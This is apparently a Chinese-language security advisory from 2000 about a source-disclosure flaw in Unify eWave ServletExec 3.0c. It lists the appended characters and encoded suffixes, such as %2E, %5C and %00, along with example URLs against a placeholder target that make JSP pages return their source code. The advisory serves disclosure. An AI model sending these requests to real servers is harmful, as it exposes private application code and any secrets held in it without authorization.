Unify eWave ServletExec JSP代码可以被查看发布时间：2000-11-23 更新时间：2000-11-23 严重程度：中 威胁程度：远程非授权文件存取 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 Unify eWave ServletExec 3.0c详细描述 Unify eWave ServletExec是一个JAVA/JAVA SERVLET引擎可以使用于多个WEB系统，如果对ServletExec的JSP网页请求一些特殊代码可以返回源代码。 . %2E + %2B \ %5C %20 %00 http://target/directory/jsp/file.jsp. http://target/directory/jsp/file.jsp%2E http://target/directory/jsp/file.jsp+ http://target/directory/jsp/file.jsp%2B http://target/directory/jsp/file.jsp\ http://target/directory/jsp/file.jsp%5C http://target/directory/jsp/file.jsp%20 http://target/directory/jsp/file.jsp%00 测试代码 见描述部分。 解决方案 尚无 相关信息 |
